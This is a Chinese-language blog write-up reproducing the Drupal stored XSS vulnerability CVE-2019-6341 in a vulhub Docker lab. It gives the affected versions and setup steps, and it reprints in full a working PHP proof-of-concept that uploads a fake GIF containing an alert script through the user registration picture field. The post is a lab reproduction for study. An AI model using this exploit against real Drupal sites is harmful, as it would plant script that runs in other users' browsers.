CVE-2019-6341

作者: 3mi1e | 来源:发表于2019-08-09 21:22 被阅读27次

    Drupal XSS漏洞(CVE-2019-6341)

    1.漏洞影响版本

    在7.65之前的Drupal 7版本中; 8.6.13之前的Drupal 8.6版本; 8.5.14之前的Drupal 8.5版本

    2.漏洞危害

    XSS漏洞

    3.漏洞POC
    cd /root/vulhub/drupal/CVE-2019-6341                  //进入本次复现的漏洞目录
    docker-compose up -d                                   //docker-compose搭建环境
    

    git clone https://github.com/thezdi/PoC
    下载本次要使用的POC,文末附POC,本菜改了一点点

    环境启动后,访问 http://your-ip:8080/ 将会看到drupal的安装页面,一路默认配置下一步安装。因为没有mysql环境,所以安装的时候可以选择sqlite数据库。

    sqlite

    该漏洞需要利用drupal文件模块上传文件的漏洞,伪造一个图片文件,上传,文件的内容实际是一段HTML代码,内嵌JS,这样其他用户在访问这个链接时,就可能触发XSS漏洞。
    Drupal 的图片默认存储位置为 /sites/default/files/pictures/<YYYY-MM>/,默认存储名称为其原来的名称,所以之后在利用漏洞时,可以知道上传后的图片的具体位置。
    使用PoC上传构造好的伪造GIF文件,PoC参考thezdi/PoC的PoC。
    如图,输入如下命令,即可使用PoC构造样本并完成上传功能,第一个参数为目标IP 第二个参数为目标端口。

    php blog-poc.php 192.168.11.160 8080
    

    上传成功后,访问图片位置,即可触发 XSS 漏洞,如下图所示。
    Tips:

    1. 因为 Chrome 和 FireFox 浏览器自带部分过滤 XSS 功能,所以验证存在时可使用 Edge 浏览器或者 IE 浏览器。(浏览器可以关闭xss防护,自行百度,但是本次实验特殊,本菜只有IE复现成功,因此本菜觉得是浏览器特性问题)
    2. 访问的图片名称为_0的原因是因为 Drupal 的规则机制,具体原理见Drupal 1-click to RCE 分析
    XSS
    4.复盘

    漏洞出现原因
    参考链接:Drupal 1-click to RCE 分析
    总结
    CVE不一定适用所有环境

    POC

    <?php
    /*
    usage: php poc.php <target-ip>
    
    Date: 1 March 2019
    Exploit Author: TrendyTofu
    Original Discoverer: Sam Thomas
    Version: <= Drupal 8.6.2
    Tested on: Drupal 8.6.2 Ubuntu 18.04 LTS x64 with ext4.
    Tested not wokring on: Drupal running on MacOS with APFS
    CVE : CVE-2019-6341
    Reference: https://www.zerodayinitiative.com/advisories/ZDI-19-291/
    
    */
    
    $host = $argv[1];
    $port = $argv[2];
    
    $pk =   "GET /user/register HTTP/1.1\r\n".
        "Host: ".$host."\r\n".
        "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n".
        "Accept-Language: en-US,en;q=0.5\r\n".
        "Referer: http://".$host."/user/login\r\n".
        "Connection: close\r\n\r\n";
    
    $fp = fsockopen($host,$port,$e,$err,1);
    if (!$fp) {die("not connected");}
    fputs($fp,$pk);
    $out="";
    while (!feof($fp)){
      $out.=fread($fp,1);
    }
    fclose($fp);
    
    preg_match('/name="form_build_id" value="(.*)"/', $out, $match);
    $formid = $match[1];
    //var_dump($formid);
    //echo "form id is:". $formid;
    //echo $out."\n";
    sleep(1);
    
    $data = 
    "Content-Type: multipart/form-data; boundary=---------------------------60928216114129559951791388325\r\n".
    "Connection: close\r\n".
    "\r\n".
    "-----------------------------60928216114129559951791388325\r\n".
    "Content-Disposition: form-data; name=\"mail\"\r\n".
    "\r\n".
    "test324@example.com\r\n".
    "-----------------------------60928216114129559951791388325\r\n".
    "Content-Disposition: form-data; name=\"name\"\r\n".
    "\r\n".
    "test2345\r\n".
    "-----------------------------60928216114129559951791388325\r\n".
    "Content-Disposition: form-data; name=\"files[user_picture_0]\"; filename=\"xxx\xc0.gif\"\r\n".
    "Content-Type: image/gif\r\n".
    "\r\n".
    "GIF\r\n".
    "<HTML>\r\n".
    "   <HEAD>\r\n".
    "       <SCRIPT>alert(123);</SCRIPT>\r\n".
    "   </HEAD>\r\n".
    "   <BODY>\r\n".
    "   </BODY>\r\n".
    "</HTML>\r\n".
    "-----------------------------60928216114129559951791388325\r\n".
    "Content-Disposition: form-data; name=\"user_picture[0][fids]\"\r\n".
    "\r\n".
    "\r\n".
    "-----------------------------60928216114129559951791388325\r\n".
    "Content-Disposition: form-data; name=\"user_picture[0][display]\"\r\n".
    "\r\n".
    "1\r\n".
    "-----------------------------60928216114129559951791388325\r\n".
    "Content-Disposition: form-data; name=\"form_build_id\"\r\n".
    "\r\n".
    //"form-KyXRvDVovOBjofviDPTw682MQ8Bf5es0PyF-AA2Buuk\r\n".
    $formid."\r\n".
    "-----------------------------60928216114129559951791388325\r\n".
    "Content-Disposition: form-data; name=\"form_id\"\r\n".
    "\r\n".
    "user_register_form\r\n".
    "-----------------------------60928216114129559951791388325\r\n".
    "Content-Disposition: form-data; name=\"contact\"\r\n".
    "\r\n".
    "1\r\n".
    "-----------------------------60928216114129559951791388325\r\n".
    "Content-Disposition: form-data; name=\"timezone\"\r\n".
    "\r\n".
    "America/New_York\r\n".
    "-----------------------------60928216114129559951791388325\r\n".
    "Content-Disposition: form-data; name=\"_triggering_element_name\"\r\n".
    "\r\n".
    "user_picture_0_upload_button\r\n".
    "-----------------------------60928216114129559951791388325\r\n".
    "Content-Disposition: form-data; name=\"_triggering_element_value\"\r\n".
    "\r\n".
    "Upload\r\n".
    "-----------------------------60928216114129559951791388325\r\n".
    "Content-Disposition: form-data; name=\"_drupal_ajax\"\r\n".
    "\r\n".
    "1\r\n".
    "-----------------------------60928216114129559951791388325\r\n".
    "Content-Disposition: form-data; name=\"ajax_page_state[theme]\"\r\n".
    "\r\n".
    "bartik\r\n".
    "-----------------------------60928216114129559951791388325\r\n".
    "Content-Disposition: form-data; name=\"ajax_page_state[theme_token]\"\r\n".
    "\r\n".
    "\r\n".
    "-----------------------------60928216114129559951791388325\r\n".
    "Content-Disposition: form-data; name=\"ajax_page_state[libraries]\"\r\n".
    "\r\n".
    "bartik/global-styling,classy/base,classy/messages,core/drupal.ajax,core/drupal.collapse,core/drupal.timezone,core/html5shiv,core/jquery.form,core/normalize,file/drupal.file,system/base\r\n".
    "-----------------------------60928216114129559951791388325--\r\n";
    
    $pk =   "POST /user/register?element_parents=user_picture/widget/0&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1\r\n".
        "Host: ".$host."\r\n".
        "User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0\r\n".
        "Accept: application/json, text/javascript, */*; q=0.01\r\n".
        "Accept-Language: en-US,en;q=0.5\r\n".
        "X-Requested-With: XMLHttpRequest\r\n".
        "Referer: http://" .$host. "/user/register\r\n".
        "Content-Length: ". strlen($data). "\r\n".
        $data;
    
    echo "uploading file, please wait...\n";
    
    for ($i =1; $i <= 2; $i++){
    $fp = fsockopen($host,$port,$e,$err,1);
    if (!$fp) {die("not connected");}
    fputs($fp,$pk);
    $out="";
    while (!feof($fp)){
      $out.=fread($fp,1);
    }
    fclose($fp);
    
    echo "Got ".$i."/2 500 errors\n";
    //echo $out."\n";
    sleep(1);
    }
    
    echo "please check /var/www/html/drupal/sites/default/files/pictures/YYYY-MM\n";
    
    ?>
    

    相关文章

      网友评论

        本文标题:CVE-2019-6341

        本文链接:https://www.haomeiwen.com/subject/duukjctx.html